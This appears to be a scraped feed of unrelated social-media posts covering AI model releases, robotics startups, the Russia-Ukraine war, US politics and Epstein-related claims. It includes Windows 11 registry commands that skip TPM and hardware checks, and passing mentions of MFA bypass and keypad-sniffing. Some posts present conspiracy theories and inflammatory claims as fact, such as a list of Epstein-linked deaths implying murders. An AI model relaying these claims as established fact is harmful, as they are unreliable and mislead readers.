Thanks to everyone who joined my DEFCON33 talk!🎉
For those of you who missed it and are interested in seeing how we can extract cleartext credentials and bypass MFA directly from the official Microsoft login page, I just uploaded the recording to YouTube:
https://t.co/MoPQiKgesd https://t.co/y59UYluess
For anyone with a Kindle, jailbreaking it takes 5 minutes and turns it into one of the cheapest, most capable eInk devices you can own.
Runs Linux!
https://t.co/YLKzlwFiBX
Google has released a new open source model...
That runs on just 0.5 GB of RAM. Yes.
You can fine-tune it for free to make it better than the giant models at your tasks.
Quick steps to fine-tune Gemma 3 270M below https://t.co/WbsVk6xeGm
For the life of me I can never remember the registry tweaks to avoid TPM checks when installing Win11 in a VM. I finally took note of the `reg add` commands to just copy and paste into the Shift+F10 terminal.
reg add "HKLM\SYSTEM\Setup\LabConfig" /f
reg add "HKLM\SYSTEM\Setup\LabConfig" /v BypassTPMCheck /t REG_DWORD /d 1 /f
reg add "HKLM\SYSTEM\Setup\LabConfig" /v BypassSecureBootCheck /t REG_DWORD /d 1 /f
reg add "HKLM\SYSTEM\Setup\LabConfig" /v BypassRAMCheck /t REG_DWORD /d 1 /f
reg add "HKLM\SYSTEM\Setup\LabConfig" /v BypassCPUCheck /t REG_DWORD /d 1 /f
reg add "HKLM\SYSTEM\Setup\LabConfig" /v BypassStorageCheck /t REG_DWORD /d 1 /f
NeoFarm is using robotics to make organic market gardening profitable!
The French agri-tech startup has developed a patented system that automates the toughest parts of organic vegetable production, from soil prep to repetitive harvesting.
On each farm, the system supports 20+ crop species grown in open ground without chemical fertilizers and with near-total water autonomy, a rare combination at this scale. 👩🏼🌾
By offloading heavy, repetitive tasks to its automation platform, NeoFarm reduces the physical strain on its 30-person market gardening teams, enabling consistent output with fewer labor bottlenecks.
The model is replicable and modular, designed to be deployed directly on local farmers’ land, integrating with their expertise while bringing in robotic efficiency.
Recently they secured over €30 million to scale up their operations! 💸
This will retire 90% of RAG systems with dignity (and a sad song playlist). Powered by DSPy: If you're still building "text in, text out" chatbots that only perform blind vector and text searches, you're not gonna make it!
My team just dropped Elysia, and it's not just an incremental successor to Verba… It's a whole rethink of how we interact with our data using AI.
𝗪𝗵𝗮𝘁 𝗶𝘀 𝗘𝗹𝘆𝗶𝘀𝗮?
An open-source platform for building agentic RAG architectures. It learns from your preferences, intelligently categorizes, labels, and searches through your data, and provides complete transparency into its decision-making process.
The long & exciting feature list:
• 𝗧𝗿𝗮𝗻𝘀𝗽𝗮𝗿𝗲𝗻𝘁 𝗗𝗲𝗰𝗶𝘀𝗶𝗼𝗻-𝗧𝗿𝗲𝗲 𝗔𝗴𝗲𝗻𝘁𝘀: Elysia’s core is a customizable decision tree, and it visualizes its entire reasoning process, showing you why it chooses a specific tool or path.
It enables advanced error handling, self-healing from failed queries, and prevents infinite loops. You can also add custom tools and branches to build complex, state-aware workflows.
• 𝗗𝗮𝘁𝗮 𝗔𝘄𝗮𝗿𝗲𝗻𝗲𝘀𝘀: Before it even attempts a query, Elysia performs a full analysis of your data collections. This eliminates the blind search problem plaguing most RAG systems and allows for far more complex and accurate query generation.
• 𝗗𝘆𝗻𝗮𝗺𝗶𝗰 𝗗𝗮𝘁𝗮 𝗗𝗶𝘀𝗽𝗹𝗮𝘆𝘀: Your RAG pipeline shouldn't be limited to text, right? That’s why Elysia analyzes each query's results and chooses the best way to display them, from tables and charts to product cards and GitHub tickets. It also features a comprehensive data explorer with search, sorting, and filtering capabilities.
• 𝗛𝘆𝗽𝗲𝗿-𝗣𝗲𝗿𝘀𝗼𝗻𝗮𝗹𝗶𝘇𝗮𝘁𝗶𝗼𝗻 𝘃𝗶𝗮 𝗙𝗲𝗲𝗱𝗯𝗮𝗰𝗸: It uses your positively-rated queries as few-shot examples to improve future responses. This allows you to use smaller, faster models that perform like larger ones over time, cutting costs without sacrificing quality for most use cases.
• 𝗖𝗵𝘂𝗻𝗸-𝗢𝗻-𝗗𝗲𝗺𝗮𝗻𝗱: Elysia chunks documents at query time. It performs initial searches on document-level vectors and only chunks relevant documents on the fly, storing them in a parallel quantized collection with cross references for future use.
𝗧𝗵𝗲 𝗦𝘁𝗮𝗰𝗸
Elysia is built from scratch on Weaviate, using its native features like named vectors, a variety of search types, filters, cross references, quantization, etc. It uses DSPy for LLM interactions and is delivered as a production-ready application via FastAPI, serving a NextJS frontend as static HTML.
Also available as a Python package via pip:
𝗽𝗶𝗽 𝗶𝗻𝘀𝘁𝗮𝗹𝗹 𝗲𝗹𝘆𝘀𝗶𝗮-𝗮𝗶
Type: 𝗲𝗹𝘆𝘀𝗶𝗮 𝘀𝘁𝗮𝗿𝘁
Connect your Weaviate cluster and go explore what’s possible.
correlation i have observed:
the most talented people i know (who also happen to be high agency) have the shittiest workflow organization
- no notion organization hell, usually messy apple notes and google docs
- regular users of pen and paper
- no superhuman or fancy email
THREAD: “Cognitive biases are growing and multiplying at an ever-increasing rate. Every psychologist and their uncle has come up with one. To give you a sense of the scale of the problem, this infographic summarizes 50 of the best-known cognitive biases.”
[Link at end.] https://t.co/FRtSdpPCB7
1/ Ukraine once made half the world’s supply of the gas that powers every advanced chip.
Now Russia holds part of it, China makes most of the rest—and together they’re on the verge of controlling a global tech chokehold.
The gas? Neon. Here’s why it matters 🧵⤵️ https://t.co/iHz48srEOZ
Every robot you see is a data firehose generating terabytes of chaos.
This hidden crisis is the #1 reason robots fail, and it's costing the industry billions.
You see hardware, but not the data swamp drowning engineers.
In 2025, a quiet revolution is fixing it. Here’s how. 🧵 https://t.co/vivGt48JOy
Scale is hard. Incremental Expansion is even harder.
Designing a topology *flexible* enough for incremental growth is an insanely difficult computer science problem.
Well defined structures often hinder expansion.
Here's why (controlled) randomness can help: https://t.co/XJoekUhYfI
I used to do safe cracking/drilling safes. Mechanical locks are the most secure and reliable. All electronic locks break and can be spiked open with a battery. I even made a sniffer that sits behind the keypad and waits for you to enter your code to steal it (in 2009). Here I am about to spike open an e-lock.
curious about the training data of OpenAI's new gpt-oss models? i was too.
so i generated 10M examples from gpt-oss-20b, ran some analysis, and the results were... pretty bizarre
time for a deep dive 🧵 https://t.co/t5pNnsSh8V
Russia isn’t even trying to hide it anymore. It’s openly trafficking Ukrainian children.
On official platforms, Ukrainian orphans are displayed like products in an online marketplace.
Full-face photos. Age. Eye color. Health status. Even “obedience level.” Filterable. Sortable. Selectable.
This isn’t care. It’s state-sponsored child trafficking.
Since 2014, children from occupied regions have been systematically abdukted, renamed, and placed with Russian families. Now, with updated laws, Russia can even alter their surnames and birthdays.
This isn’t just illegal—it’s a war crime.
At Save Ukraine, we’ve rescued over 750 children. But thousands are still out there.
📢 Watch this video. Share it. Raise your voice.
No child should be reduced to a clickable profile.
No child should be stripped of their identity and forced to forget who they are.
#BringKidsBackUA #SaveUkraine #StopRussia #ChildRights #ChildrenNotPawns #WarCrimes
🚨russia launched an online CATALOG to “choose” a Ukrainian child by photo, eye & hair color etc.
Ukrainian children from occupied territories, displayed like products!
Kids that became orphans when russia killed their parents, handed out like trophies.
This is CHILD TRAFFICKING! https://t.co/nF793eW5aF
🧨 “We want Ukraine to stop existing as a state. We want its people gone - let’s say into emigration… or somewhere far away. That’s our goal.”
– Bogdan Bezpalko, senior advisor to Putin on ethnic affairs, live on Russian TV.
Also: chairman of an organization called “Ukrainians of Russia.”
You read that right.
The Kremlin’s go-to “Ukraine expert” openly calls for ethnic cleansing, mass displacement, and the erasure of an entire country - while smiling into the camera.
And when he’s not fantasizing about wiping Ukraine off the map, he threatens nuclear strikes on Germany, Finland, and Italy - like he’s ordering takeout.
This isn’t some fringe lunatic.
This is a presidential advisor, given airtime, status, and power to speak on behalf of the regime.
“Ukrainians of Russia” now officially means: those who cheer for the annihilation of their homeland.
No one in Moscow is hiding the goal anymore.
It’s not “denazification.” Not “security concerns.”
It’s genocide. Displacement. Total destruction.
Ukraine isn’t fighting for borders.
It’s fighting for the right to exist at all.
@UnitreeRobotics just unveiled the Unitree A2, a next-gen quadruped robot built for rugged terrain and industrial use. Weighing 37 kg, it can reach speeds of 5 m/s, climb 1-meter-high steps, and carry heavy loads—it even stays stable with an adult jumping on its back. With a 3D lidar system for real-time awareness and 3+ hours of endurance under a 30 kg load, this is a serious machine.
It's clear this dog is ready to work. 🤖🥾
What do Zuckerberg, Thiel and Altman have in common? Underground bunkers.
-New Zealand citizen Peter Thiel filed plans to build a "luxury lodge," which local sources and investigative reports suggest is actually a high-security underground bunker with private farmland.
-Mark Zuckerberg has quietly developed over 2,300 acres on Kauai, Hawai‘i, featuring two massive mansions, agricultural operations, and a 5,000 ft² underground shelter equipped with blast-resistant doors, escape hatches, self-sufficiency systems like water tanks, pump systems, and layered security infrastructure.
-OpenAI’s Sam Altman has openly said he’s preparing for societal collapse. He’s admitted to stockpiling guns, gold, gas, antibiotics, and owns a getaway ranch. He has also confirmed that his home is fortified with a reinforced underground basement.
Now ask yourself: Why would the architects of the digital age need bunkers?
I caught up with a friend who works at a mid-size Swedish tech company. Over the last 4 months, their shipping velocity has almost doubled – not because they hired more engineers, adopted some new agile framework, or worked late nights. It came down to a single change in how they build products: they started using Lovable to prototype features instead of writing traditional spec docs.
Before Lovable, it usually went like this: PMs drafted long PRDs, trying to anticipate every detail. Multiple stakeholders reviewed these documents, leaving comments and raising concerns. The document grew with each iteration. Alignment meetings were frequent but often resulting in ambiguity. Engineers often began implementation while details were still debated. Inevitably, confusion emerged about trade-offs, timelines got pushed, and features shipped incomplete or scaled back.
Now, PMs build interactive prototypes directly in Lovable. These aren’t wireframes or rough mockups – they’re fully clickable, end-to-end experiences that feel like the real product. Engineers don’t have to guess what the flow should be. Designers don’t have to explain interactions. Everyone sees the same thing, from day one.
The end result is fewer meetings, fewer misunderstandings, fewer rewrites. What used to take weeks of coordination now happens in a single day.
This is what has provided the most value for enterprises using Lovable so far. Over time, the increase of clarity and velocity saves the companies millions of $ in wasted effort.
2/ Just as a mongoose can dispatch venomous snakes with speed, this drone hunts multiple Russo-Iranian targets per flight.
Technary CEO Hennadii Suldin told @DefenderMediaUA that anti-aircraft units specifically asked his team to build this "flying machine." ⤵️ https://t.co/zWX259h18r
@george_sopp @JamesMelville george_sopp This is Salut Salon's performance of "Competitive Foursome" (Wettstreit zu viert), a comedic classical piece by the German quartet. The viral video originated around 2014.
We spend years getting comfortable at companies building consensus.
Then, we join the dictator and finally ship something that matters.. https://t.co/YytPsnGKor
In 3 (or more) dimensions, all fundamental particles are either fermions and bosons. But why?
This is a direct consequence of the properties of the configuration space for identical particles
🧵 1/14 https://t.co/3vz2vvFmaJ
You will soon be able to teach robots what human are doing… using natural language.
I spoke to one of the founders a couple of months ago on my podcast:
An API that takes raw human videos and returns detailed language annotations describing the motion.
@DeplaceAI is building something wild:
Not just basic labels, it captures:
✅ motion semantics
✅ relative positions
✅ cause and effect
✅ task outcomes
✅ and more
It’s built on top of research in point tracking, segmentation, and learning from demos;
all to make it easier to train robots and embodied agents without manual labeling.
They’re offering early access and sharing some of the datasets they collected via their global network of video collectors.
Thanks for sharing, @MilcentPedro !
🔗 https://t.co/Gu3DvSrwrj
One of the most interesting motion-to-language interfaces I’ve seen.
If you’re working in robotics, vision, or LfD, it’s worth checking out.
The Volonaut Airbike is capable of speeds up to 200 km/h with a jet propulsion system and a unique 360-degree riding view, offering a breakthrough in personal air mobility without the use of spinning propellers.
[📹volonaut]
https://t.co/ofJVR8nd8F
Facebook once bought a VPN app for $120M and turned it into a surveillance tool that spied on 33M+ users' entire phones for years.
This app helped Zuck buy WhatsApp for a whopping $19B and break Snapchat's encryption.
Thread
You can now get on a flight, go fully offline, and chat to a GPT4 level model on your MacBook Air at 42 tokens a second. Insane. https://t.co/FUN5DpzW3Z
Go out and buy Terabytes of external drives and archive books, articles and relevant internet archive html pages.
The entire planet is about to be gaslit before digital ID is implemented.
Dont trust whats on the web post "restore" after the event.
Ukrainian intelligence has hacked the Russian-installed “Crimean government” servers and uncovered evidence of mass abductions of children from occupied territories. Thousands of names and their relocation sites have been obtained and handed over to investigators. https://t.co/ps432pEt0R
An important story from @KlasfeldReports.
Donald Trump's story about Virginia Giuffre doesn't make sense.
Ghislaine Maxwell recruited and groomed Giuffre for Jeffrey Epstein's sex-trafficking operation years before Trump and Epstein had a falling-out.
https://t.co/nipDPtuvk4
Qwen has just released a model on par with GPT-4o...
And you can run it locally easily 🤯
Yep. GPT-4o level AI running offline on a laptop.
- Fully open source
- Only 3B active parameters
- 262k context length natively
Quick steps to run it on your machine and details below https://t.co/ia7SzFxQH0
France just suffered its biggest-ever defense leak.
Hacker “Neferpitou” dumped 13GB (from a 1TB trove) of Naval Group data — the shipbuilder behind French submarines and frigates.
Leaked content includes:
•Source code for combat systems
•Nuclear sub weapon software
•Rafale-M docs
•Internal emails, manuals, network data
•Simulation environments
No ransom. No demands. Just a warning and full release.
Thales, Dassault, and Safran systems may be indirectly affected.
Naval Group is investigating. Leak appears authentic.
All this happened days after Macron backed Palestinian statehood.
Source: @Trillion0x
Reminder: all you need to learn basics of radio, telecommunications, digital signal processing, and RF concepts, is just a $35 RTL-SDR dongle.
The barrier to entry has never been lower.
This was a dream 20 years ago. https://t.co/LgxoCheAaz
New paper! Allow me to introduce TARS = Torqued Accelerator using Radiation from the Sun. TARS (yes inspired by Interstellar!) is a rotating light sail that's capable of launching chip sats into interstellar space using only radiation from the Sun, so let's dive into how it works https://t.co/RtzvlsOGsm
Vores biler er den bedste løsning for samfundets mobilitet!
Det er næsten tre gange billigere pr. kilometer for skattekassen og markant lettere for os der skal have en hverdag til at hænge sammen, at vi tager bilen i stedet for toget.
Det viser en ny undersøgelse fra Transportministeriet @TRM_dk hvor alle samfundets udgifter.
Derfor bør krigen mod bilen og den frihed som bilen giver os borgerne stoppe omgående.
#KV25 #dkpol #Frihed #KommunenSkalGøreDinHverdagLettere
Peter Thiel (who Epstein invested with) and Hulk Hogan took down Gawker together, soon after Gawker published Epstein’s little black book and exposed Thiel’s sexuality. Chuck Johnson, who was an intern for Epstein lawyer Alan Dershowitz,
https://t.co/8R3e2XFauD
It’s not talked about enough that an Epstein and Ghislaine maxwell associate who sat on the board of one of Ghislaine’s companies got America’s First Lady her visa… https://t.co/XOPnfCX8H9
1/ 🧵 From a hospital bed after his third concussion fighting near Bakhmut, a Ukrainian warrior sent a LinkedIn message that would become a $5M defense company.
Now he's CEO of British-Ukrainian Trypillian—boosting mil-tech that most VCs won't fund 🧵⤵️ https://t.co/WfHjpf6DTs
🆘 We still have time to save Kherson, the city in Ukraine, which is being bombarded and attacked by drones daily.
Today, the theater was shelled; many historic buildings destroyed this week.
Our film can raise the global awareness.
Watch free here:
https://t.co/tIQ4e4Mtkh https://t.co/tN7hRckrwU
Epstein’s "little black book" totals 97 pages, containing 1,571 names and roughly 5,000 phone numbers. At least 38 names are mysteriously circled, including Donald Trump's. “I got my hands on a copy,” writes Leland Nally. “I made close to 2,000 phone calls.”
https://t.co/0XWHOQNbd3
When you hear Switzerland, you think cheese, chocolate, and mountains... right?
Not anymore.
After this, you will think...
R o b o t i c s.
(Thread🧵) https://t.co/uy2bU6tatv
Here are hundreds of pages of testimony regarding Jeffrey Epstein's charges. Just search for "Epstein". His suicide watch docs are disturbing. Again... it's not rocket science finding legal files on Epstein. https://t.co/H3LPh0Og69
https://t.co/ISmZodSPU7 https://t.co/3KpqrcChnJ
ICYMI, during the 2016 presidential campaign, “Epstein invited [Peter] Thiel and [Thomas] Barrack to separate meetings with Vitaly Churkin, Russia’s ambassador to the United Nations. **** Thiel, who had several interactions with Epstein starting in 2014, according to the documents, said his Oct 2016 meeting with Epstein & Churkin featured ‘nothing memorable.’
‘I was rather naive,’ Thiel said in an interview, ‘and I didn’t think enough about what Epstein’s agenda might have been.’ Barrack, founder of Colony Capital and a longtime Trump ally, declined to comment.” 1/ https://t.co/5k6HxtmOk3
“But on one occasion, The Daily Beast has learned, Guccifer failed to activate the VPN client before logging on. As a result, he left a real, Moscow-based Internet Protocol address in the server logs of an American social media company, according to a source familiar with the government’s Guccifer investigation. ***
Working off the IP address, US investigators identified Guccifer 2.0 as a particular GRU officer working out of the agency’s headquarters on Grizodubovoy Street in Moscow”. - 3/22/18 1/
A whistleblower alleged that staff of Palantir—co-founded by Facebook investor/director Peter Thiel—had worked w/ Cambridge Analytica (CA) on the FB data it acquired. But a Palantir spokesperson claimed Palantir never had a relationship w/ CA & never worked on its data. 5/2018 1/ https://t.co/Ajv49auJQU
It seems DNI Gabbard is unaware that the years-long Russia investigation carried out by the Senate Intelligence Committee reaffirmed that ‘the Russian government directed extensive activity against U.S. election infrastructure’ ahead of the 2016 election, and that it ‘used social media to conduct an information warfare campaign’ in order to benefit Donald Trump. This conclusion was supported on a unanimous basis by every single Democrat and Republican on the committee. (1/2)
“In a court memo filed on July 8, 2019, two days after his arrest, DOJ outlined some of the evidence they had seized. This included stacks of compact disks labeled “Young [Name] + [Name].” In short, Epstein kept a carefully curated library of videos…”
https://t.co/4U9aY6Mfot
1/ At least 133 Russians POWs freed from Ukrainian captivity are reported to have have died or gone missing in action after being sent back to the front lines, in violation of the Geneva Conventions. Some are said to have been executed. ⬇️
https://t.co/aUFoi1R9PJ
An interesting story from @christogrozev
Chinese Deepseek AI twists his story and starts feeding him Russian propaganda, and not only gets it wrong, tries to manipulate him when challenged. https://t.co/Q8qfj0Yl3l
Imagine a humanoid robot autonomously changing batteries in a factory, working 24 hours a day.
UBTECH's WlakerS2 is starting a new journey. Autonomous battery replacement, more compact and flexible than WalkerS1, faster and more human-like natural straight knee walking. Can't wait to see dozens of WalkerS2s working together.
Pavel Talankin is a former Russian school event coordinator and videographer at School No. 1 in Karabash, a town in Russia's Chelyabinsk region. He filmed "patriotic" lessons and school events for official reports submitted to the Russian ministry of education.
After Russia launched its full-scale invasion of Ukraine in February 2022, Talankin began documenting the growing propaganda and militarization within the Russian school system.
Together with colleagues from various countries, he created the Danish-Czech documentary project Mr. Nobody Against Putin. The film was shot over two years using secretly recorded footage.
Mr. Nobody Against Putin shows how Russian schoolchildren are forced to march, attend lectures about "denazification," and participate in militaristic ceremonies - documenting the arrival of Wagner Group mercenaries, patriotic events, and even fragments of funerals.
The project sparked a strong reaction in Russian Karabash: pro-government media accused Talankin of "anti-Russian propaganda" and "treason," his mother was fired, and security forces showed up at local schools.
Pavel Talankin has turned Russia’s school propaganda into a clinical study of modern tools of manipulation.
When I was 17 years old (2016) I built a mobile app called Wordle… it was downloaded about 100k times before I gave up on the project
It sat in my apple developer account, until in 2021 another developer named Josh build a web app game, also called Wordle
Josh’s game went viral globally. A lot of people searching for his game went to the appstore and downloaded mine instead
A lot of other app developers tried to copy the game but Apple removed them all… except mine because it was the OG built before any other Wordle existed
Apple wiped out all the competition. I was the only “Wordle” on the appstore
My little mobile app ended up being downloaded over 10M times in the span of a few weeks
It changed my life forever.
California Crackup? Try again.
California provides $83.1 billion more than we receive from the federal government.
Texas? Receives $71.1 billion more than they provide to the federal government.
71% of the U.S. GDP comes from blue counties. https://t.co/8yveQsdUJm
We had a big Slack thread about this today.
tl;dr: We think Zapier would’ve caught him
Internally, we’ve been using a Zap that helps recruiters spot hiring risks early.
How it works:
1. Enriches IP + phone to verify true location
2. Flagged VPNs, Google Voice, and location mismatches
3. Categorizes risk (none/moderate/high)
4. Pings recruiter if action is needed
5. Logs everything to Ashby for tracking
This has caught enough red flags for us already that we’re pretty sure it would’ve caught this.
What do you think?
In the meantime, we made this Zap into a public template so you can protect your hiring funnel:
https://t.co/KkGh8agUIx
So, this is a thread that X broke and buried. I did it years ago - listing the pedophiles and rapists connected to donald, personally or professionally. Nothing speculative.
I think I got up into the 40s, numbers-wise, before needing to move on to other things. Maybe it’s time to recompile the list?
We're open-sourcing "The Amazing Hand", an eight-degree of freedom humanoid robot hand compatible with @lerobot that can be 3-D printed at home for less than $250 ✌️✌️✌️
Given the success of Reachy Mini (2,000+ robots sold in a few days), we won't have the bandwidth to manufacture this one ourselves but we release the bill of materials, the CAD files and assembly guides for everyone to build or sell their own, let's go open-source AI robotics!
There’s an awkward black hole in the years between 1948 and 1967. It’s a period of time that simply doesn’t exist in the Cult in Palestinianism, because it’s massively inconvenient to their narrative.
Chinese lab Moonshot has just released the most powerful open source model (!)
K2 is even more powerful than DeepSeek v3 and competitive with Claude Opus 4 and GPT-4.1!
→ 100% open source
→ 1T parameters / 32B active
→ VERY strong in coding and agentic tasks
You can already use it for free (see below)
Israeli govt has found out that Chinese EVs have been transmitting data back to China. https://t.co/kkvIgxnPHi
Fortunately, the US hasn't imported many Chinese-made EVs. My suggestion is:try not to buy ANYTHING made in China.
European Court of Human Rights landmark ruling against Russia is out. More spceifically: ECHR Grand Chamber judgment, Ukraine and the Netherlands v. Russia, 9 July 2025.
Perhaps the most important aspect is this. The Court found that “The Russian Federation exercised effective control over the separatist-held areas of eastern Ukraine from 11 May 2014.”
This is significant because:
Under international law, effective control over territory + responsibility for armed groups = state responsibility, which is a key element in establishing aggression.
Obamaesque metphores about "insurrections" and "Pro Russian separatists" are out of the window.
In short. Russia is an aggressor since 2014.
Other main findings, even if not surprsising, still important.
Overall, the Court held Russia responsible for serious, systemic, and widespread violations of the European Convention on Human Rights in eastern Ukraine and Crimea, starting from 11 May 2014.
Key findings:
Effective control: Russia exercised effective control over parts of eastern Ukraine (Donetsk and Luhansk) and Crimea through the so-called “DPR” and “LPR” from May 2014 onward.
State responsibility: Russia was found directly responsible for the actions of its proxies and its own agents in these areas.
Russia Was found to have violated following fundamentla rights:
Right to life (Article 2): extrajudicial killings, including the downing of Malaysia Airlines Flight MH17.
Prohibition of torture and inhuman treatment (Article 3): mistreatment of prisoners and civilians.
Right to liberty and security (Article 5): arbitrary detention.
Right to a fair trial (Article 6): sham trials and lack of legal guarantees.
Freedom of religion (Article 9): persecution of non-Moscow Patriarchate churches.
Freedom of expression and association (Articles 10 and 11): suppression of Ukrainian-language media, civil society, and protest.
Protection of property (Protocol No. 1, Article 1): unlawful expropriation and destruction.
Right to education (Protocol No. 1, Article 2): obstruction of Ukrainian-language education.
Non-discrimination (Article 14): systematic targeting of individuals based on nationality, religion, or political opinion.
The court will now calculate compensation (just satisfaction in money) for victims and the applicant States (Ukraine and the Netherlands).
Russia is under international legal obligation to:
Acknowledge responsibility.
Cooperate in investigating and prosecuting violations.
Provide remedies to victims
The court ruling and followups and collected evidence will be used in the future War Crimes Tribunals against the Russian political and military leadership.
Slava Ukraini!
https://t.co/9gtCCYnshZ
High-resolution satellite images can be insanely expensive to buy.
So here's a list of free datasets you can access.
These datasets can be used to build foundation models, super-resolution models, or for segmentation. https://t.co/1Rsxd34SVH
Denmark now has the world’s best economy as the USA falls out of the top 20.
The reason for Denmarks rise since 2019 when they were not in the top 30 is because the last 6 years they have been run by social Democrats.
Denmark has close to the highest taxes in the world, but are one the leading unionist countries in the world. They rank right near the top in terms of happiest countries on earth.
Denmark is frequently cited as having one of the most comprehensive and generous welfare systems globally. It scores highly in international rankings for social sustainability and offers universal healthcare, low poverty rates, and a relatively high standard of living.
The US is following the trajectory of most authoritarian countries like Hungary and Argentina as they tumble out of the top 20. When Saudi Arabia is beating you, there is a problem.
🚨 BREAKING:
Filics has secured €13.5 million in fresh funding to scale its autonomous pallet moving robots.
Founded in 2021 by engineers from the Technical University of Munich, Filics has developed a unique robot pairing that autonomously lifts and moves pallets using minimal floor space.
Each of their units can carry up to 1.2 tons and maneuver with the speed of 1.2 m/s.
The system's autonomous mobility allows it to drive completely underneath and through pallets placed on the floor—without requiring turning space—making it a standout solution for high-density warehouses.
Future plans include adapting the technology for autonomous truck loading in under five minutes.
Looks like Moscow are starting to eat their own. Putin just blocked one of Russia’s richest guys gold baron Konstantin Strukov from leaving the country. His jet got grounded and the state’s moving in to take over his whole business.
This guy was loyal too. But with the war burning through so much cash fast, even the loyal elite will be targeted
It’s also a clear sign of how desperate and unstable things are getting inside the regime. When Putin starts eating his own billionaires just to keep the lights on, it shows the war is draining resources faster than the system can handle. Loyalty doesn’t mean safety anymore the power is shrinking, trust is breaking down, and the state is cannibalizing itself to stay afloat.
#Epstein didn't suicide himself!
Remember when Wendy Leigh, associated with the #EpsteinFiles, died May 2016.
and
Detective Joe Recarey, associated with the Epstein files, died at 50 after a brief illness May 2018.
Remember when former governor of New Mexico Bill Richardson, also linked to the Epstein files
died in his sleep at his summer home in Massachusetts, Sept 2023?
Remember when "John Connelly, an investigative journalist who was looking into Epstein's connections and alleged coverups, died in 2021"?
Remember when "Marvin Minsky: A longtime associate of Epstein who faced abuse allegations, died in 2016"?
Remember when "Alfredo Rodriguez, Epstein's former house manager, who had possession of a "black book" of contacts, died of mesothelioma in 2015"?
Remember when Jean-Luc Brunel
"French modeling agent accused of procuring girls for #Epstein, was found dead in a French prison in 2022, his death also ruled a suicide"
#EpsteinClientList
Remember when ##Epstein victim Leigh Skye Patrick suddenly died of an overdose in 2017!?!
Remember when Carolyn Andriano
#Epstein victim suddenly died of drug overdose in 2023?
Remember when Virginia Giuffre was suddenly suicided, no coincidences.
tps://nypost.com/2025/05/25/us-news/jeffrey-epstein-victim-virginia-giuffre-laid-to-rest-at-private-funeral/
@CartoonsHateHer The Turkish on the coastal side are genetically predominantly Greek so likely the wrong way round.
At least that is my hypothesis of what happened here…
Autonomous excavator building a wall! 🪨
This will blow your mind! 🤯
Researchers from ETH Zürich have used an autonomous excavator to build a 65-meter-long, six-meter-high dry-stone wall.
The autonomous system, called "Heap," precisely scanned and placed stones, forming a wall.
Through computer-aided design and control, the robot was able to handle and position over 900 individual elements, some weighing over 1000 kilograms.
What about autonomous excavators? Perhaps tele-op is also an option that could let people work remotely even as an excavator operator!
As a thoroughly russified Qazaq kid growing up in the 1980s Almaty, I had deeply internalized the Russo-centric view of Qazaq-speaking Qazaqs as being rural and backwards. Embarrassingly, for many years, I failed to understand what now seems so painfully obvious. 1/10 https://t.co/e2RGj6C6vu
There must – and there definitely will – be more protection for life. We are scaling up joint arms production with our partners: long-range weapons to reduce Russia’s appetite for killing, and interceptor drones to protect our people.
This week, we reached an agreement with an American company to produce drones, and another agreement was concluded with Denmark on the first coproduction of weapons for Ukraine abroad.
We are grateful to everyone who stands with our state and people, supports Ukraine’s military-industrial complex and strengthens their own defense capabilities.
@United24media
There is a certain point at which those who hunger for total control go after their opponents. The rise of Putin, Stalin, Hitler, Mao, Mussolini etc have all been analyzed and charted. The science of destroying democracy exists. A fake crisis awaits. https://t.co/96f7PnOUnz https://t.co/schQS5dXfF
Gemini CLI can automate your computer using MCP 🔥
Add Windows MCP (or macOS MCP) to Gemini CLI and you can tell it what to do autonomously.
Gemini then takes control of your entire system to achieve the goal you've set.
Links below https://t.co/dP6ue6zEZd
NEW: Hakeem Jeffries warns that a "deportation machine will be unleashed on steroids" if President Trump's Big, Beautiful Bill is passed.
If passed, the bill will funnel $170 billion to ICE making it the most heavily funded law enforcement agency in the U.S. government.
$45B is allocated in the bill to build and operate new detention centers.
$46B would be allocated for the border wall.
Video: @tpbreaking
Hi, I'm Ivan - a totally-not-suspicious aerospace prodigy.
I just happen to have a charming Russian accent, a past internship at Sukhoi (no big deal), and a mild obsession with drone jet propulsion systems. https://t.co/TRmq4iORa9
Likely motives:
- Russia is out of cash and Trump is there to help.
- Trump helps the "Elites" around Putin to siphon there assets too the secure evil West.
- Trump will receive kickbacks, in material and/or intel/operative form, potentially regarding a system change in the US.
The full interview is available on Frontelligence Insight on stack, featuring more detail and nuance than we could fit here due to post length limits. Follow us there (it's free) for more stories like this one.
https://t.co/GrhlTU1uW0
these guys are only 2 weeks old, 411k spotify listeners. & entirely ai generated. this is the first time i’ve seen a totally synthetic act hit cultural velocity this fast.
whoever made this didn’t just use ai, they understood narrative.
& this is just the beginning. https://t.co/9o3u6rXZtZ
You’ve never heard of them.
But next week, they’re shipping your first personal robot.
It’s open-source.
Garage-built.
Costs $8,999.
Here’s why they might change robotics forever 🧵 https://t.co/0PR1I9URvu
Stanford paid 35,000 people to quit social media.
This was the largest study on emotional health in history.
The results were so shocking, scientists called it "comparable to therapy."
Here's what happens when you break free from the algorithm:
🧵 https://t.co/UU5OIuJ9Tj
Chinese researchers just dropped an image gen model that does Photoshop-grade edits without affecting the rest of the pic.
"Make her dress blue"
"Make him smile"
(multi image) "Put this jacket on him"
GPT 4o was always bad at this.
It's OmniGen2. Open source.
Photoshop killer. https://t.co/VqFHKRQXkZ
next big thing: Agent Simulations 🔥
run your agent on many simulated scenarios to test it's doing the right thing
✨ auto-simulate users in different edge cases
📊 judge, tool calls check, simulation control
🧑💻 open-source, compatible with all AI frameworks https://t.co/oW8cexWh5Z
Russian colonialism. A long 🧵
Some didn´t get the memo but Russia was - and is - a colonial power.
Let´s take a tour around this marvelous empire:
1/x https://t.co/4mU4Gpsu0M
Another way to make Claude Code a 10x engineer for a complex change:
1. Make a plan for the change (if you need it) with Gemini.
2. Open a new branch.
3. Ask Claude to implement the change and maintain a https://t.co/V6tFmNOgN5 that is an APPEND-ONLY log with gotchas, judgement calls, files discovered, questions, questions answered.
4. Commit and close the branch.
5. Get CC to view the diff and update the plan with learnings.
5. Come back before the branch started, provide the updated plan and scratchpad to make the change again.
Watch it be magically 10x better.
For those who believe russia’s vast size is somehow natural — just look at this map.
It screams continual colonization and the destruction of entire ethnic groups.
1/n https://t.co/fBh2yav5FE
Desiderata by Max Ehrmann remains one of my favourite pieces of writing. It had a profound impact on me during a pivotal time in my formative years. I still turn to it to centre myself.
🧵1/ While governments debated, a team of 150 engineers and volunteers quietly helped Ukraine outpace Russia’s battlefield tech — delivering life-saving tools in weeks, not years.
Meet Defense Tech for Ukraine (DTU) — a grassroots defense innovation group.👇 https://t.co/u3KKm0dreF
The Islamic Republic has arrested over 30,642 women since 2022 for not wearing hijabs.
They've killed, raped, and tortured many of them.
They've killed children during protests.
